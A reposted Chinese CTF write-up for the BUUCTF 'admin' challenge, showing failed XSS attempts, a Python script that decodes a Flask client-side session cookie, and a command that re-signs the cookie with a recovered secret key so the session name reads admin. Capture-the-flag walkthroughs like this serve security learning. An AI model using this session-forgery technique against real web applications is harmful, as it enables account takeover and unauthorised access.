栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

buuctf-admin

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

buuctf-admin

打开靶机

注册后发现

点开后发现有一个留言板和一个修改密码的界面,还有一个没啥用的退出界面

既然看到了有留言板,试试xss

试了各种xss,发现没有用,估计后端代码对xss进行了处理

试试修改密码页面的情况,看下修改密码页面的源代码

 先来了解一下flask知识,通过网上查找

flask是一个使用 Python 编写的轻量级 Web 应用框架,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到session中。和服务端的session不同,服务端的session保存在服务端中,依靠客户端cookie值中的sessionId来进行识别。本身sessionId是没有价值的,而客户端的session是可以被截取破解后得到有价值的原文

抓包看一下自己的session

我们可以利用flask session伪造来解题 ,从网上找到了一段python脚本解密session

#index.html
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
 
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
 
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
 
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
 
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
 
    return session_json_serializer.loads(payload)
 
if __name__ == '__main__':
    s = "这里填入需要解密的session"
    print(decryption(s.encode()))

如果pycharm没安装flask,记得安装即可

.eJw9kEFrg0AQhf9K2XMOatOLkIOwGiLMSMtE2bmENDVZd10DJkHdkP9em0IO7zLv8T3m3cXu2NcXLeJrf6sXYtf8iPgu3r5FLEAmgSI1caUGlq1TlIxskkhR69BnFtdlg1XegMwcSAiL6sspYwflDxGT1uBtMOcnNmkIhi3LU4g-d-BzAy4dIco1yrJFqQZlZqZJPFJpWNol-NKATN_BWA8yb8Foh4SzWBfr7VjQZmCDmin561iJx0IcLv1xdz3bunu9UFA6Km8nNFnLtJkK2n5wBV6RDRWhRsoNyvkmYcIoXXKV6eJz9cQ1bn-qX6RDZ0M4_Tvd3s2G2HfT-eb1XLcQt0vdP7cTYSAev8ITcMM.YosQSQ.wl52H6kt_O2Mc-nGbYzIHYT7dyQ

解码后得到

从中的name后面可以看到这就是我们注册的名字,我们将name的名字修改为admin按理说应该可以达到伪造的效果

加解密脚本:解密脚本

py3 flask3.py encode -s ckj123 -t "{解密后修改的内容}"     //在cmd中启动

将session更改

 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/925776.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号